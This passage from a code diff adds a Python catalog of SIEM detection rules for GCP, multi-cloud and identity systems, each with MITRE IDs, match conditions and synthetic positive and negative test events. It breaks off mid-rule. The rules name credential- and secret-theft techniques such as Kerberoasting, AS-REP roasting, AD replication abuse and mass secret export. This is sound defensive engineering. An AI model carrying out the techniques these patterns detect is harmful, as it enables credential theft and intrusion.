3389, 5432, 3306, 6379]},+ "fp": ["External load balancer subnet (tagged role=public-lb)"],+ "playbook": "tpl-cloud-misconfig",+ "positive": {"method_name": "compute.firewalls.insert", "source_range": "0.0.0.0/0", "port": 22, "fw": "prod-bastion"},+ "negative": {"method_name": "compute.firewalls.insert", "source_range": "10.0.0.0/8", "port": 22, "fw": "prod-bastion"},+ },+ {+ "slug": "gcp-project-deletion",+ "name": "GCP Project Marked for Deletion",+ "severity": "critical",+ "mitre": ["t1485"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name"},+ "match_when": {"method_name": "DeleteProject"},+ "fp": ["Sandbox project cleanup (project name must contain -sbx or -test)"],+ "playbook": "tpl-data-destruction",+ "positive": {"method_name": "DeleteProject", "project": "prod-revenue", "principal": "[email protected]"},+ "negative": {"method_name": "UndeleteProject", "project": "prod-revenue", "principal": "[email protected]"},+ },+ {+ "slug": "gcp-audit-log-sink-disabled",+ "name": "GCP Audit Log Sink Disabled or Deleted",+ "severity": "critical",+ "mitre": ["t1562.008"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name"},+ "match_when": {"method_name_in": ["google.logging.v2.ConfigServiceV2.DeleteSink", "google.logging.v2.ConfigServiceV2.UpdateSink"]},+ "fp": ["Sink migration (must reference replacement sink)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"method_name": "google.logging.v2.ConfigServiceV2.DeleteSink", "sink": "org-default", "principal": "[email protected]"},+ "negative": {"method_name": "google.logging.v2.ConfigServiceV2.CreateSink", "sink": "org-default", "principal": "[email protected]"},+ },+ {+ "slug": "gcp-org-policy-modified",+ "name": "GCP Organization Policy Modified",+ "severity": "high",+ "mitre": ["t1562.008"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name"},+ "match_when": {"method_name_endswith": ".SetOrgPolicy"},+ "fp": ["Approved policy change (must reference change ticket in metadata)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"method_name": "google.cloud.orgpolicy.v2.OrgPolicy.SetOrgPolicy", "policy": "compute.requireOsLogin", "principal": "[email protected]"},+ "negative": {"method_name": "google.cloud.orgpolicy.v2.OrgPolicy.GetEffectivePolicy", "policy": "compute.requireOsLogin", "principal": "[email protected]"},+ },+ {+ "slug": "gcp-service-account-impersonation",+ "name": "GCP Service Account Impersonation Outside Allowlist",+ "severity": "high",+ "mitre": ["t1078.004"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name", "impersonator", "target_sa"},+ "match_when": {"method_name": "GenerateAccessToken", "impersonator_in_allowlist": False},+ "fp": ["IT support break-glass (allowlisted impersonator only)"],+ "playbook": "tpl-cloud-anomaly",+ "positive": {"method_name": "GenerateAccessToken", "impersonator": "[email protected]", "target_sa": "[email protected]", "impersonator_in_allowlist": False},+ "negative": {"method_name": "GenerateAccessToken", "impersonator": "[email protected]", "target_sa": "[email protected]", "impersonator_in_allowlist": True},+ },+ {+ "slug": "gcp-secret-manager-mass-export",+ "name": "GCP Secret Manager Mass AccessSecretVersion",+ "severity": "critical",+ "mitre": ["t1555.005", "t1530"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name", "secret_count_per_principal", "time_window_minutes"},+ "match_when": {"method_name": "google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion", "secret_count_per_principal_gt": 25, "time_window_minutes_lt": 10},+ "fp": ["Boot of large microservice fleet (must be a known service principal in allowlist)"],+ "playbook": "tpl-data-exfil",+ "positive": {"method_name": "google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion", "secret_count_per_principal": 80, "time_window_minutes": 4, "principal": "[email protected]"},+ "negative": {"method_name": "google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion", "secret_count_per_principal": 3, "time_window_minutes": 30, "principal": "[email protected]"},+ },+ {+ "slug": "gcp-bigquery-dataset-public",+ "name": "GCP BigQuery Dataset Made Public",+ "severity": "high",+ "mitre": ["t1530"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name", "iam_member"},+ "match_when": {"method_name": "google.cloud.bigquery.v2.DatasetService.UpdateDataset", "iam_member_in": ["allUsers", "allAuthenticatedUsers"]},+ "fp": ["Public datasets program (purpose=public tag required)"],+ "playbook": "tpl-data-exposure",+ "positive": {"method_name": "google.cloud.bigquery.v2.DatasetService.UpdateDataset", "iam_member": "allUsers", "dataset": "customer_metrics"},+ "negative": {"method_name": "google.cloud.bigquery.v2.DatasetService.UpdateDataset", "iam_member": "user:[email protected]", "dataset": "customer_metrics"},+ },+ # Multi-cloud (5)+ {+ "slug": "cloud-secrets-in-env",+ "name": "Cloud Workload Spawned with Secrets in Environment Variables",+ "severity": "high",+ "mitre": ["t1552.001"],+ "log_source": {"product": "cloud", "service": "workload"},+ "fields": {"event_name", "env_has_secret"},+ "match_when": {"event_name_in": ["RunInstances", "RunPods", "DeployContainer"], "env_has_secret": True},+ "fp": ["Legacy workloads pre-migration to a secret-store (decommission ticket required)"],+ "playbook": "tpl-cloud-misconfig",+ "positive": {"event_name": "DeployContainer", "env_has_secret": True, "container": "billing-svc"},+ "negative": {"event_name": "DeployContainer", "env_has_secret": False, "container": "billing-svc"},+ },+ {+ "slug": "cloud-container-registry-public",+ "name": "Container Registry Repository Made Public",+ "severity": "medium",+ "mitre": ["t1525"],+ "log_source": {"product": "cloud", "service": "registry"},+ "fields": {"event_name", "visibility"},+ "match_when": {"event_name_in": ["UpdateRepositoryVisibility", "SetIamPolicy"], "visibility": "public"},+ "fp": ["Public OSS image publishing (purpose=public-oss tag required)"],+ "playbook": "tpl-data-exposure",+ "positive": {"event_name": "UpdateRepositoryVisibility", "visibility": "public", "repo": "internal-tooling"},+ "negative": {"event_name": "UpdateRepositoryVisibility", "visibility": "private", "repo": "internal-tooling"},+ },+ {+ "slug": "cloud-tfstate-public",+ "name": "Terraform State File Stored in Public Bucket",+ "severity": "critical",+ "mitre": ["t1530", "t1552.001"],+ "log_source": {"product": "cloud", "service": "storage"},+ "fields": {"object_path", "bucket_visibility"},+ "match_when": {"object_path_endswith": ".tfstate", "bucket_visibility": "public"},+ "fp": ["Demo/training repos (must be in dedicated demo project)"],+ "playbook": "tpl-data-exposure",+ "positive": {"object_path": "iac/prod/main.tfstate", "bucket_visibility": "public", "bucket": "ops-iac"},+ "negative": {"object_path": "iac/prod/main.tfstate", "bucket_visibility": "private", "bucket": "ops-iac"},+ },+ {+ "slug": "cloud-internet-load-balancer-no-waf",+ "name": "Internet-Facing Load Balancer Without WAF",+ "severity": "medium",+ "mitre": ["t1190"],+ "log_source": {"product": "cloud", "service": "lb"},+ "fields": {"event_name", "scheme", "waf_attached"},+ "match_when": {"event_name_in": ["CreateLoadBalancer", "ModifyLoadBalancerAttributes"], "scheme": "internet-facing", "waf_attached": False},+ "fp": ["Health-check / status-page endpoints (must be tagged purpose=status)"],+ "playbook": "tpl-cloud-misconfig",+ "positive": {"event_name": "CreateLoadBalancer", "scheme": "internet-facing", "waf_attached": False, "lb": "prod-api"},+ "negative": {"event_name": "CreateLoadBalancer", "scheme": "internet-facing", "waf_attached": True, "lb": "prod-api"},+ },+ {+ "slug": "cloud-cross-account-trust-add",+ "name": "Cross-Account Trust Added to Privileged Role",+ "severity": "critical",+ "mitre": ["t1199"],+ "log_source": {"product": "cloud", "service": "iam"},+ "fields": {"event_name", "trusted_principal_external_account", "external_account_in_allowlist"},+ "match_when": {"event_name_in": ["UpdateAssumeRolePolicy", "PutRolePolicy"], "trusted_principal_external_account": True, "external_account_in_allowlist": False},+ "fp": ["Approved partner SaaS integration (allowlist required)"],+ "playbook": "tpl-cloud-anomaly",+ "positive": {"event_name": "UpdateAssumeRolePolicy", "trusted_principal_external_account": True, "external_account_in_allowlist": False, "role": "prod-admin"},+ "negative": {"event_name": "UpdateAssumeRolePolicy", "trusted_principal_external_account": False, "external_account_in_allowlist": True, "role": "prod-admin"},+ },+]++# =============================================================================+# IDENTITY (40)+# =============================================================================+IDENTITY: list[dict] = [+ # Authentication (15)+ {+ "slug": "brute-force-login",+ "name": "Authentication Brute-Force Burst",+ "description": "Detects high-frequency failed authentication attempts against a single account, which is a classic indicator of credential-stuffing or password-spraying attempts. Threshold is intentionally conservative to reduce noise.",+ "severity": "high",+ "mitre": ["t1110.001"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "outcome", "fail_count", "time_window_minutes"},+ "match_when": {"event_type": "user.session.start", "outcome": "FAILURE", "fail_count_gt": 20, "time_window_minutes_lt": 10},+ "fp": ["Misconfigured client looping forever (rare; tag known cases)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.session.start", "outcome": "FAILURE", "fail_count": 80, "time_window_minutes": 5, "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "outcome": "FAILURE", "fail_count": 2, "time_window_minutes": 30, "user": "[email protected]"},+ },+ {+ "slug": "impossible-travel",+ "name": "Impossible Travel Between Two Authentications",+ "description": "Detects two successful authentication events for the same user from geographically distant locations within a time window that would require travel speeds exceeding 800 km/h. Strong indicator of compromised credentials being shared between attacker and legitimate user.",+ "severity": "high",+ "mitre": ["t1078"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "outcome", "travel_speed_kmh", "time_delta_minutes"},+ "match_when": {"event_type": "user.session.start", "outcome": "SUCCESS", "travel_speed_kmh_gt": 800, "time_delta_minutes_lt": 120},+ "fp": ["VPN usage that changes apparent geolocation", "Tor / proxy services"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.session.start", "outcome": "SUCCESS", "travel_speed_kmh": 1100, "time_delta_minutes": 30, "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "outcome": "SUCCESS", "travel_speed_kmh": 12, "time_delta_minutes": 240, "user": "[email protected]"},+ },+ {+ "slug": "password-spray",+ "name": "Password Spray Across Many Users from Single IP",+ "severity": "high",+ "mitre": ["t1110.003"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "outcome", "distinct_users_per_ip", "time_window_minutes"},+ "match_when": {"event_type": "user.session.start", "outcome": "FAILURE", "distinct_users_per_ip_gt": 30, "time_window_minutes_lt": 30},+ "fp": ["Penetration tests (must be ticketed)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.session.start", "outcome": "FAILURE", "distinct_users_per_ip": 60, "time_window_minutes": 12, "src_ip": "203.0.113.7"},+ "negative": {"event_type": "user.session.start", "outcome": "FAILURE", "distinct_users_per_ip": 1, "time_window_minutes": 60, "src_ip": "10.0.0.5"},+ },+ {+ "slug": "login-anonymous-ip",+ "name": "Login from Tor / Anonymous Proxy",+ "severity": "high",+ "mitre": ["t1078"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "ip_anonymizer"},+ "match_when": {"event_type": "user.session.start", "ip_anonymizer": True},+ "fp": ["Researchers / red team (tagged research-account)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.session.start", "ip_anonymizer": True, "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "ip_anonymizer": False, "user": "[email protected]"},+ },+ {+ "slug": "login-outside-business-hours",+ "name": "Privileged Login Outside Business Hours",+ "severity": "medium",+ "mitre": ["t1078"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "outcome", "user_role", "hour_of_day_local"},+ "match_when": {"event_type": "user.session.start", "outcome": "SUCCESS", "user_role_in": ["admin", "privileged"], "hour_of_day_local_not_in": list(range(7, 20))},+ "fp": ["On-call rotation outside hours (must be on-call)", "Travel by privileged user (tag travel)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_type": "user.session.start", "outcome": "SUCCESS", "user_role": "admin", "hour_of_day_local": 3, "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "outcome": "SUCCESS", "user_role": "admin", "hour_of_day_local": 10, "user": "[email protected]"},+ },+ {+ "slug": "login-from-foreign-country",+ "name": "Login from Country Outside Allowed Geography",+ "severity": "high",+ "mitre": ["t1078"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "outcome", "src_country", "user_country_allowlist"},+ "match_when": {"event_type": "user.session.start", "outcome": "SUCCESS", "src_country_not_in_allowlist": True},+ "fp": ["Approved business travel (must be tagged)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.session.start", "outcome": "SUCCESS", "src_country": "RU", "src_country_not_in_allowlist": True, "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "outcome": "SUCCESS", "src_country": "US", "src_country_not_in_allowlist": False, "user": "[email protected]"},+ },+ {+ "slug": "disabled-account-login-attempt",+ "name": "Authentication Attempt Against Disabled Account",+ "severity": "medium",+ "mitre": ["t1078"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "user_state"},+ "match_when": {"event_type": "user.session.start", "user_state_in": ["DISABLED", "DEPROVISIONED"]},+ "fp": ["Lingering background jobs after offboarding (rare; transient)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_type": "user.session.start", "user_state": "DISABLED", "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "user_state": "ACTIVE", "user": "[email protected]"},+ },+ {+ "slug": "mfa-fatigue",+ "name": "MFA Push Bombing (MFA Fatigue)",+ "severity": "high",+ "mitre": ["t1621"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "mfa_push_count", "time_window_minutes"},+ "match_when": {"event_type": "user.mfa.factor.push", "mfa_push_count_gt": 6, "time_window_minutes_lt": 5},+ "fp": ["User retrying after a missed prompt (typically 2-3 retries)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.mfa.factor.push", "mfa_push_count": 25, "time_window_minutes": 3, "user": "[email protected]"},+ "negative": {"event_type": "user.mfa.factor.push", "mfa_push_count": 2, "time_window_minutes": 5, "user": "[email protected]"},+ },+ {+ "slug": "mfa-bypass-policy-change",+ "name": "MFA Requirement Removed from User Policy",+ "severity": "critical",+ "mitre": ["t1556.006"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "policy_change_field"},+ "match_when": {"event_type": "policy.lifecycle.update", "policy_change_field": "mfa_required:false"},+ "fp": ["Migration to passkey-only (must reference replacement policy)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_type": "policy.lifecycle.update", "policy_change_field": "mfa_required:false", "policy_name": "all-employees"},+ "negative": {"event_type": "policy.lifecycle.update", "policy_change_field": "session_timeout:8h", "policy_name": "all-employees"},+ },+ {+ "slug": "expired-credential-reuse",+ "name": "Authentication with Expired Credential",+ "severity": "medium",+ "mitre": ["t1110"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "credential_state"},+ "match_when": {"event_type": "user.session.start", "credential_state": "EXPIRED"},+ "fp": ["Cached credentials in legacy automation (rotation grace period)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_type": "user.session.start", "credential_state": "EXPIRED", "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "credential_state": "VALID", "user": "[email protected]"},+ },+ {+ "slug": "service-account-interactive-login",+ "name": "Service Account Used for Interactive Login",+ "severity": "high",+ "mitre": ["t1078.004"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "user_type", "session_type"},+ "match_when": {"event_type": "user.session.start", "user_type": "service_account", "session_type": "interactive"},+ "fp": ["Service account testing during onboarding (must be ticketed)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.session.start", "user_type": "service_account", "session_type": "interactive", "user": "deploy-bot"},+ "negative": {"event_type": "user.session.start", "user_type": "service_account", "session_type": "machine", "user": "deploy-bot"},+ },+ {+ "slug": "root-ssh-login",+ "name": "Root SSH Login on Production Host",+ "severity": "high",+ "mitre": ["t1078.001"],+ "log_source": {"product": "linux", "service": "auth"},+ "fields": {"event_type", "user", "host_role"},+ "match_when": {"event_type": "ssh-accept", "user": "root", "host_role": "production"},+ "fp": ["Disaster recovery break-glass (must be ticketed)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"event_type": "ssh-accept", "user": "root", "host_role": "production", "host": "db-prod-01"},+ "negative": {"event_type": "ssh-accept", "user": "deploy", "host_role": "production", "host": "db-prod-01"},+ },+ {+ "slug": "default-credential-login",+ "name": "Login with Vendor Default Credentials",+ "severity": "high",+ "mitre": ["t1078.001"],+ "log_source": {"product": "linux", "service": "auth"},+ "fields": {"event_type", "user_in_default_list", "outcome"},+ "match_when": {"event_type": "ssh-accept", "user_in_default_list": True, "outcome": "SUCCESS"},+ "fp": ["Lab/sandbox hosts (must not be production-tagged)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "ssh-accept", "user": "admin", "user_in_default_list": True, "outcome": "SUCCESS", "host": "appliance-01"},+ "negative": {"event_type": "ssh-accept", "user": "real-employee", "user_in_default_list": False, "outcome": "SUCCESS", "host": "appliance-01"},+ },+ {+ "slug": "shared-account-login-spike",+ "name": "Shared Account Login Spike (Distinct IPs)",+ "severity": "medium",+ "mitre": ["t1078"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "distinct_ip_count_per_user", "time_window_minutes"},+ "match_when": {"event_type": "user.session.start", "distinct_ip_count_per_user_gt": 5, "time_window_minutes_lt": 10},+ "fp": ["Shared corporate workstation (multi-user)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_type": "user.session.start", "distinct_ip_count_per_user": 12, "time_window_minutes": 6, "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "distinct_ip_count_per_user": 1, "time_window_minutes": 60, "user": "[email protected]"},+ },+ {+ "slug": "login-during-incident",+ "name": "Authentication During Active P0/P1 Incident Window",+ "severity": "medium",+ "mitre": ["t1078"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "outcome", "active_p0_or_p1_incident", "user_role"},+ "match_when": {"event_type": "user.session.start", "outcome": "SUCCESS", "active_p0_or_p1_incident": True, "user_role_not_in": ["incident_responder", "admin"]},+ "fp": ["IR team members not in the responder allowlist (rare; tag and continue)"],+ "playbook": "tpl-incident-anomaly",+ "positive": {"event_type": "user.session.start", "outcome": "SUCCESS", "active_p0_or_p1_incident": True, "user_role": "marketing", "user": "[email protected]"},+ "negative": {"event_type": "user.session.start", "outcome": "SUCCESS", "active_p0_or_p1_incident": False, "user_role": "marketing", "user": "[email protected]"},+ },+ # Authorization (10)+ {+ "slug": "privileged-role-assignment",+ "name": "Privileged Role Assignment",+ "severity": "high",+ "mitre": ["t1098"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "role_name"},+ "match_when": {"event_type": "user.role.add", "role_name_in": ["admin", "owner", "global_admin"]},+ "fp": ["Quarterly access review (ticketed)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"event_type": "user.role.add", "role_name": "admin", "target_user": "[email protected]"},+ "negative": {"event_type": "user.role.add", "role_name": "viewer", "target_user": "[email protected]"},+ },+ {+ "slug": "jit-elevation-abuse",+ "name": "Just-In-Time Elevation Held Beyond Window",+ "severity": "medium",+ "mitre": ["t1078"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "elevation_duration_minutes"},+ "match_when": {"event_type": "user.privilege.elevate", "elevation_duration_minutes_gt": 240},+ "fp": ["Maintenance window approved beyond 4h (must be ticketed)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_type": "user.privilege.elevate", "elevation_duration_minutes": 720, "user": "[email protected]"},+ "negative": {"event_type": "user.privilege.elevate", "elevation_duration_minutes": 60, "user": "[email protected]"},+ },+ {+ "slug": "sudo-no-mfa",+ "name": "Sudo Used Without MFA",+ "severity": "high",+ "mitre": ["t1548.003"],+ "log_source": {"product": "linux", "service": "sudo"},+ "fields": {"event_type", "mfa_verified"},+ "match_when": {"event_type": "sudo-use", "mfa_verified": False},+ "fp": ["Hosts pending MFA rollout (host_role=legacy tag required)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"event_type": "sudo-use", "mfa_verified": False, "host": "db-prod-01", "user": "user"},+ "negative": {"event_type": "sudo-use", "mfa_verified": True, "host": "db-prod-01", "user": "user"},+ },+ {+ "slug": "group-policy-modification",+ "name": "Active Directory Group Policy Modified",+ "severity": "high",+ "mitre": ["t1484.001"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id"},+ "match_when": {"event_id_in": [5136, 5137, 5138, 5139]},+ "fp": ["Change-management approved GPO updates (ticket reference required)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_id": 5136, "object_class": "groupPolicyContainer", "user": "[email protected]"},+ "negative": {"event_id": 4624, "user": "[email protected]"},+ },+ {+ "slug": "rbac-cluster-admin-binding",+ "name": "Kubernetes ClusterRoleBinding to cluster-admin",+ "severity": "critical",+ "mitre": ["t1078.004"],+ "log_source": {"product": "kubernetes", "service": "audit"},+ "fields": {"verb", "object_resource", "role_ref"},+ "match_when": {"verb": "create", "object_resource": "clusterrolebindings", "role_ref": "cluster-admin"},+ "fp": ["Initial cluster bootstrap (one-time)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"verb": "create", "object_resource": "clusterrolebindings", "role_ref": "cluster-admin", "subject": "[email protected]"},+ "negative": {"verb": "create", "object_resource": "clusterrolebindings", "role_ref": "view", "subject": "[email protected]"},+ },+ {+ "slug": "iam-policy-detach-defense",+ "name": "Defensive IAM Policy Detached",+ "severity": "critical",+ "mitre": ["t1562.008"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "policy_name"},+ "match_when": {"event_name_in": ["DetachUserPolicy", "DetachRolePolicy"], "policy_name_contains_any": ["DefaultDeny", "GuardrailDeny", "OrgDeny"]},+ "fp": ["Policy migration during Org SCP refactor (ticket required)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_name": "DetachRolePolicy", "policy_name": "OrgDenyDeleteCloudTrail", "role": "deploy-bot"},+ "negative": {"event_name": "DetachRolePolicy", "policy_name": "ReadOnlyAccess", "role": "deploy-bot"},+ },+ {+ "slug": "domain-password-policy-weakened",+ "name": "Domain Password Policy Weakened",+ "severity": "high",+ "mitre": ["t1556"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "policy_change"},+ "match_when": {"event_id_in": [4739, 4738], "policy_change_in": ["min-length-decreased", "complexity-disabled", "lockout-disabled"]},+ "fp": ["Approved policy refactor (ticketed, paired with rotation)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_id": 4739, "policy_change": "complexity-disabled", "user": "[email protected]"},+ "negative": {"event_id": 4739, "policy_change": "min-length-increased", "user": "[email protected]"},+ },+ {+ "slug": "oauth-broad-scope-grant",+ "name": "OAuth App Granted Broad Scopes by User",+ "severity": "high",+ "mitre": ["t1098.001"],+ "log_source": {"product": "google-workspace", "service": "audit"},+ "fields": {"event_type", "scope_set"},+ "match_when": {"event_type": "oauth.token.grant", "scope_set_contains_any": ["mail.readwrite", "drive.full", "admin.directory"]},+ "fp": ["IT-managed integrations (publisher in allowlist)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "oauth.token.grant", "scope_set": ["drive.full"], "user": "[email protected]", "app": "thirdparty-importer"},+ "negative": {"event_type": "oauth.token.grant", "scope_set": ["calendar.read"], "user": "[email protected]", "app": "thirdparty-importer"},+ },+ {+ "slug": "app-token-broad-default",+ "name": "GitHub App Installed with Repo Admin Permission",+ "severity": "high",+ "mitre": ["t1098.001"],+ "log_source": {"product": "github", "service": "audit"},+ "fields": {"action", "permission_administration"},+ "match_when": {"action": "integration_installation.create", "permission_administration": "write"},+ "fp": ["GitHub Apps from approved-publisher list"],+ "playbook": "tpl-supply-chain",+ "positive": {"action": "integration_installation.create", "permission_administration": "write", "app": "thirdparty-bot"},+ "negative": {"action": "integration_installation.create", "permission_administration": "read", "app": "thirdparty-bot"},+ },+ {+ "slug": "token-reuse-new-device",+ "name": "Persistent Session Token Reused from New Device Fingerprint",+ "severity": "high",+ "mitre": ["t1550.004"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "device_fingerprint_seen_before", "session_age_hours"},+ "match_when": {"event_type": "user.session.access_token", "device_fingerprint_seen_before": False, "session_age_hours_gt": 8},+ "fp": ["Browser update changing fingerprint (must be paired with consistent IP)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.session.access_token", "device_fingerprint_seen_before": False, "session_age_hours": 24, "user": "[email protected]"},+ "negative": {"event_type": "user.session.access_token", "device_fingerprint_seen_before": True, "session_age_hours": 24, "user": "[email protected]"},+ },+ # Account lifecycle (10)+ {+ "slug": "account-creation-by-non-admin",+ "name": "User Account Creation by Non-Admin Principal",+ "severity": "high",+ "mitre": ["t1136.001"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "actor_role"},+ "match_when": {"event_type": "user.lifecycle.create", "actor_role_not_in": ["admin", "user_admin"]},+ "fp": ["Self-service guest invite (must require sponsor)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"event_type": "user.lifecycle.create", "actor_role": "engineer", "actor": "[email protected]"},+ "negative": {"event_type": "user.lifecycle.create", "actor_role": "admin", "actor": "[email protected]"},+ },+ {+ "slug": "admin-account-deletion",+ "name": "Privileged Account Deleted",+ "severity": "critical",+ "mitre": ["t1531"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "target_user_role"},+ "match_when": {"event_type": "user.lifecycle.deactivate", "target_user_role_in": ["admin", "owner"]},+ "fp": ["Offboarding (must reference HR ticket)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "user.lifecycle.deactivate", "target_user_role": "admin", "target_user": "[email protected]"},+ "negative": {"event_type": "user.lifecycle.deactivate", "target_user_role": "viewer", "target_user": "[email protected]"},+ },+ {+ "slug": "account-enable-after-disable",+ "name": "Disabled Account Re-enabled",+ "severity": "high",+ "mitre": ["t1098"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "previous_state"},+ "match_when": {"event_type": "user.lifecycle.activate", "previous_state": "DISABLED"},+ "fp": ["Re-hire (must reference HR ticket)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_type": "user.lifecycle.activate", "previous_state": "DISABLED", "user": "[email protected]"},+ "negative": {"event_type": "user.lifecycle.activate", "previous_state": "STAGED", "user": "[email protected]"},+ },+ {+ "slug": "self-password-reset-admin",+ "name": "Admin Password Reset Initiated by Self via Self-Service",+ "severity": "medium",+ "mitre": ["t1098"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "reset_method", "user_role"},+ "match_when": {"event_type": "user.account.reset_password", "reset_method": "self-service", "user_role": "admin"},+ "fp": ["Forgotten-password flow with strong second factor (rare for admins)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_type": "user.account.reset_password", "reset_method": "self-service", "user_role": "admin", "user": "[email protected]"},+ "negative": {"event_type": "user.account.reset_password", "reset_method": "helpdesk-assisted", "user_role": "admin", "user": "[email protected]"},+ },+ {+ "slug": "password-reset-out-of-hours",+ "name": "Password Reset Out of Business Hours for Privileged Account",+ "severity": "medium",+ "mitre": ["t1098"],+ "log_source": {"product": "okta", "service": "system-log"},+ "fields": {"event_type", "user_role", "hour_of_day_local"},+ "match_when": {"event_type": "user.account.reset_password", "user_role_in": ["admin", "privileged"], "hour_of_day_local_not_in": list(range(7, 20))},+ "fp": ["On-call out-of-hours legitimate reset (must be on-call rotation)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_type": "user.account.reset_password", "user_role": "admin", "hour_of_day_local": 2, "user": "[email protected]"},+ "negative": {"event_type": "user.account.reset_password", "user_role": "admin", "hour_of_day_local": 11, "user": "[email protected]"},+ },+ {+ "slug": "ad-replication-non-dc",+ "name": "Active Directory Replication Request from Non-Domain-Controller",+ "severity": "critical",+ "mitre": ["t1003.006"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "source_role"},+ "match_when": {"event_id": 4662, "operation_type_contains": "DS-Replication-Get-Changes", "source_role_not_in": ["domain_controller"]},+ "fp": ["Approved replication agents (azure ad connect; explicit allowlist)"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_id": 4662, "operation_type": "DS-Replication-Get-Changes-All", "source_role": "workstation", "user": "[email protected]"},+ "negative": {"event_id": 4662, "operation_type": "DS-Replication-Get-Changes-All", "source_role": "domain_controller", "user": "DC01$"},+ },+ {+ "slug": "kerberoasting",+ "name": "Kerberoasting (Service-Ticket Request for SPN)",+ "severity": "high",+ "mitre": ["t1558.003"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "ticket_encryption", "spn_count_per_user", "time_window_minutes"},+ "match_when": {"event_id": 4769, "ticket_encryption_in": ["RC4-HMAC", "0x17"], "spn_count_per_user_gt": 5, "time_window_minutes_lt": 5},+ "fp": ["Legacy services that still issue RC4 tickets (host_role=legacy tag)"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_id": 4769, "ticket_encryption": "RC4-HMAC", "spn_count_per_user": 12, "time_window_minutes": 2, "user": "[email protected]"},+ "negative": {"event_id": 4769, "ticket_encryption": "AES256-CTS-HMAC-SHA1-96", "spn_count_per_user": 1, "time_window_minutes": 60, "user": "[email protected]"},+ },+ {+ "slug": "asreproasting",+ "name": "AS-REP Roasting (Account with Pre-Auth Disabled)",+ "severity": "high",+ "mitre": ["t1558.004"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "preauth_required"},+ "match_when": {"event_id": 4768, "preauth_required": False},+ "fp": ["Legacy unix/krb5-style accounts with explicit allowlist"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_id": 4768, "preauth_required": False, "user": "service-legacy"},+ "negative": {"event_id": 4768, "preauth_required": True, "user": "[email protected]"},+ },+ {+ "slug": "golden-ticket",+ 